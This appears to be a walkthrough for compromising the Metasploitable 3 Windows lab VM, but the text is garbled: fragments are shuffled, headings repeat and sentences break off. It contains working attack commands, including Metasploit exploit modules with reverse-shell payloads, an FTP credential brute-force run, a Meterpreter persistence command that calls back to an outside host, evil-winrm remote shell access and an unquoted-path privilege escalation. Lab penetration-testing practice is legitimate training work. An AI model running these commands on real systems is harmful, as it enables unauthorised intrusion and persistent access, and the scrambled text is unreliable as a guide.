Metasploitable 3 Windows Walkthrough Jun 2026

use post/multi/recon/local_exploit_suggester set SESSION 1 run Use code with caution. Exploit Application: AlwaysInstallElevated

or a dedicated service account), an attacker can execute Groovy scripts to spawn a reverse shell. The Shell:

The most important step for safe testing is isolating your vulnerable VM from your real network:

msfconsole -q use auxiliary/scanner/http/webdav_scanner set RHOSTS TARGET_IP set RPORT 8585 run Use code with caution. metasploitable 3 windows walkthrough

python3 -m http.server 80

You should receive a Meterpreter session running as the user under which ElasticSearch is installed. 4. Exploitation Path B: ManageEngine Desktop Central

: The management console allows the deployment of WAR (Web Application Archive) files. : Use Metasploit’s exploit/multi/http/glassfish_deployer set RHOSTS set RPORT 4848 (Admin port) set PAYLOAD java/meterpreter/reverse_tcp python3 -m http

Metasploitable 3 is designed as a environment. Look for custom icons or text files scattered throughout the system (e.g., on the Administrator's desktop or in the root directory). Each flag represents a successfully compromised service.

meterpreter > run persistence -X -i 30 -p 4444 -r 192.168.56.1

If credentials match, spawn a remote shell using evil-winrm : evil-winrm -i 10.0.2.15 -u vagrant -p vagrant Use code with caution. 5. Post-Exploitation and Privilege Escalation Phase 1: Information Gathering and Reconnaissance

If the current user has write access to C:\ , drop a malicious executable named Program.exe into C:\ .

msf6 > use auxiliary/scanner/ftp/ftp_login msf6 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.1.36 msf6 auxiliary(scanner/ftp/ftp_login) > set USER_FILE /path/to/usernames.txt msf6 auxiliary(scanner/ftp/ftp_login) > set PASS_FILE /path/to/passwords.txt msf6 auxiliary(scanner/ftp/ftp_login) > run

use exploit/multi/http/glassfish_deployer set RHOSTS set RPORT 8080 run Use code with caution. If successful, you will gain a Meterpreter session . Vector B: Exploiting SMB (Port 445)

This walkthrough guides you through the entire penetration testing lifecycle against Metasploitable 3 Windows, from initial reconnaissance to full administrative compromise. Phase 1: Information Gathering and Reconnaissance